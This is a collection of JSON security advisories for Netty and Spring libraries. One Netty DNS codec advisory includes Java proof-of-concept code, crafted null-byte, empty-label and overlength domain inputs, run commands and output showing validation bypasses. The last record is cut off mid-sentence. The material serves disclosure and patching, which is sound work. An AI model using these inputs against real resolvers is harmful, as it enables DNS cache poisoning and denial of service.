{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.14.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-resolver-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Final"
            },
            {
              "fixed": "4.2.15.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.134.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-resolver-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.135.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45674"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-08T23:02:26Z",
    "nvd_published_at": "2026-06-12T15:16:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nNetty\u0027s DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses.\n\n### Details\nIn `io.netty.resolver.dns.DnsResolveContext#buildAliasMap`, the resolver processes the ANSWER section of a DNS response and blindly caches all CNAME records it finds.\n\nAccording to https://datatracker.ietf.org/doc/html/rfc5452#section-6 \n\n```\nCare must be taken to only accept\n   data if it is known that the originator is authoritative for the\n   QNAME or a parent of the QNAME.\n   One very simple way to achieve this is to only accept data if it is\n   part of the domain for which the query was intended.\n```\n\n### Impact\nDNS Cache Poisoning (Bailiwick Bypass). Any application using Netty\u0027s DNS resolver is impacted.",
  "id": "GHSA-676x-f7gg-47vc",
  "modified": "2026-07-30T12:32:12Z",
  "published": "2026-06-08T23:02:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-676x-f7gg-47vc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45674"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26017"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26018"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26586"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:34608"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:37390"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41951"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:48151"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-45674"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488400"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45674.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty Vulnerable to DNS Cache Poisoning via Missing Bailiwick Checks in CNAME Records"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-webflux"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.17"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-webflux"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.0"
            },
            {
              "fixed": "6.2.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-webflux"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "last_affected": "6.1.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-webflux"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.3.47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-webmvc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.17"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-webmvc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.2.0"
            },
            {
              "fixed": "6.2.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-webmvc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.1.0"
            },
            {
              "last_affected": "6.1.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework:spring-webmvc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.3.47"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:30:01Z",
    "nvd_published_at": "2026-04-29T12:16:18Z",
    "severity": "MODERATE"
  },
  "details": "Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.\n\n\nMore precisely, an application can be vulnerable when all the following are true:\n\n  *  the application is using Spring MVC or Spring WebFlux\n  *  the application is serving static resources from the file system\n  *  the application is running on a Windows platform\n\n\nWhen all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.",
  "id": "GHSA-6p4f-wcwh-5vvm",
  "modified": "2026-05-06T22:30:01Z",
  "published": "2026-04-29T12:33:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22745"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-framework"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-22745"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-dns"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-626"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:12:47Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "HIGH"
  },
  "details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n  - No null byte validation in domain name labels\n  - No per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n  - No per-label length validation (max 63)\n  - No total domain name length validation (max 255)\n  - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            break;  // NO ERROR - silently truncates!\n        }\n        // NO check: labelLen \u003e 63\n        // NO check: label contains null bytes\n        // NO check: total name \u003e 255 bytes\n        buf.writeByte(labelLen);                    // Can write values \u003e 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!\n    }\n    buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len \u003c= 63\n        throw new CorruptedFrameException(\"truncated label in a name\");\n    }\n    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n    //    ^^^^^^ StringBuilder grows WITHOUT any length limit\n    in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput;  // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n    .addRecord(DnsSection.QUESTION,\n        new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte:  [C8] [61 61 61 ... (200 bytes)]\n         \u2191\n   Label interpretation: 200-byte label starting with \u0027a\u0027\n   Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n            String.class, ByteBuf.class);\n        encode.setAccessible(true);\n\n        // Test 1: Null byte in domain name\n        ByteBuf buf = Unpooled.buffer(256);\n        encode.invoke(null, \"evil\\0.example.com\", buf);\n        byte[] bytes = new byte[buf.readableBytes()];\n        buf.readBytes(bytes);\n        buf.release();\n        System.out.print(\"[TEST 1] Null byte - Encoded: \");\n        for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n        // Test 2: 200-byte label\n        ByteBuf buf2 = Unpooled.buffer(512);\n        encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n        System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n        System.out.println(\"VULNERABLE: Overlength label accepted!\");\n        buf2.release();\n\n        // Test 3: Empty label truncation\n        ByteBuf buf3 = Unpooled.buffer(256);\n        encode.invoke(null, \"a..b.com\", buf3);\n        byte[] bytes3 = new byte[buf3.readableBytes()];\n        buf3.readBytes(bytes3);\n        buf3.release();\n        System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n        for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n    }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n        decode.setAccessible(true);\n\n        // Test 1: 100-byte label (RFC limit: 63)\n        ByteBuf buf1 = Unpooled.buffer(256);\n        buf1.writeByte(100);\n        buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(3);\n        buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(0);\n        String r1 = (String) decode.invoke(null, buf1);\n        buf1.release();\n        System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n            \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n        ByteBuf buf2 = Unpooled.buffer(512);\n        for (int i = 0; i \u003c 5; i++) {\n            buf2.writeByte(60);\n            buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n                .getBytes(StandardCharsets.US_ASCII));\n        }\n        buf2.writeByte(0);\n        String r2 = (String) decode.invoke(null, buf2);\n        buf2.release();\n        System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n            \" VULNERABLE=\" + (r2.length() \u003e 255));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n  Input: \"evil\\0.example.com\"\n  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n  Null byte in label data: true\n  VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n  Input: \"aaaaaa...\" (200-char label)\n  Encoded bytes: 206\n  VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n  Input: \"a..b.com\"\n  Encoded bytes: 01 61 00\n  Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n  Label length: 100 bytes (RFC limit: 63)\n  Decoded name length: 105\n  VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n  5 labels x 60 bytes = 300+ bytes total\n  RFC 1035 limit: 255 bytes\n  Decoded name length: 305\n  VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    int totalLength = 0;\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n        }\n        if (labelLen \u003e 63) {\n            throw new IllegalArgumentException(\n                \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n        }\n        for (int i = 0; i \u003c label.length(); i++) {\n            if (label.charAt(i) == \u0027\\0\u0027) {\n                throw new IllegalArgumentException(\n                    \"DNS label contains null byte at index \" + i);\n            }\n        }\n        totalLength += 1 + labelLen;\n        if (totalLength \u003e 254) {\n            throw new IllegalArgumentException(\n                \"DNS name exceeds maximum length of 255: \" + name);\n        }\n        buf.writeByte(labelLen);\n        ByteBufUtil.writeAscii(buf, label);\n    }\n    buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n    throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n    throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
  "id": "GHSA-cm33-6792-r9fm",
  "modified": "2026-05-14T20:40:58Z",
  "published": "2026-05-07T00:12:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-oauth2-jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.3.0"
            },
            {
              "last_affected": "6.3.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-oauth2-jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.4.0"
            },
            {
              "last_affected": "6.4.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.9"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-oauth2-jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.5.0"
            },
            {
              "fixed": "6.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-oauth2-jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22748"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T20:48:38Z",
    "nvd_published_at": "2026-04-22T06:16:04Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in Spring Spring Security. When an application configures JWT decoding with\u00a0NimbusJwtDecoder\u00a0 or\u00a0NimbusReactiveJwtDecoder, it must configure an\u00a0OAuth2TokenValidator\u003cJwt\u003e\u00a0separately, for example by calling\u00a0setJwtValidator. This issue affects Spring Security: from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.",
  "id": "GHSA-cvc6-q2cp-2xhw",
  "modified": "2026-04-29T20:48:39Z",
  "published": "2026-04-22T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22748"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-security"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-22748"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Security has Potential Security Misconfiguration when Using withIssuerLocation"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:46:35Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`HttpContentDecompressor` accepts a `maxAllocation` parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via `ZlibDecoder`, but is silently ignored when the content encoding is `br` (Brotli), `zstd`, or `snappy`. An attacker can bypass the configured decompression limit by sending a compressed payload with `Content-Encoding: br` instead of `Content-Encoding: gzip`, causing unbounded memory allocation and out-of-memory denial of service.\n\nThe same vulnerability exists in `DelegatingDecompressorFrameListener` for HTTP/2 connections.\n\n## Details\n\n`HttpContentDecompressor` stores the `maxAllocation` value at construction time (`HttpContentDecompressor.java:89`) and uses it in `newContentDecoder()` to create the appropriate decompression handler.\n\nFor gzip/deflate, `maxAllocation` is forwarded to `ZlibCodecFactory.newZlibDecoder()`:\n\n```java\n// HttpContentDecompressor.java:101 \u2014 maxAllocation IS enforced\n.handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))\n```\n\n`ZlibDecoder.prepareDecompressBuffer()` enforces this as a hard cap by setting the buffer\u0027s `maxCapacity` and throwing `DecompressionException` when the limit is reached:\n\n```java\n// ZlibDecoder.java:68 \u2014 hard limit on buffer capacity\nreturn ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation);\n// ZlibDecoder.java:80 \u2014 throws when exceeded\nthrow new DecompressionException(\"Decompression buffer has reached maximum size: \" + buffer.maxCapacity());\n```\n\nFor brotli, zstd, and snappy, the decoders are created without any size limit:\n\n```java\n// 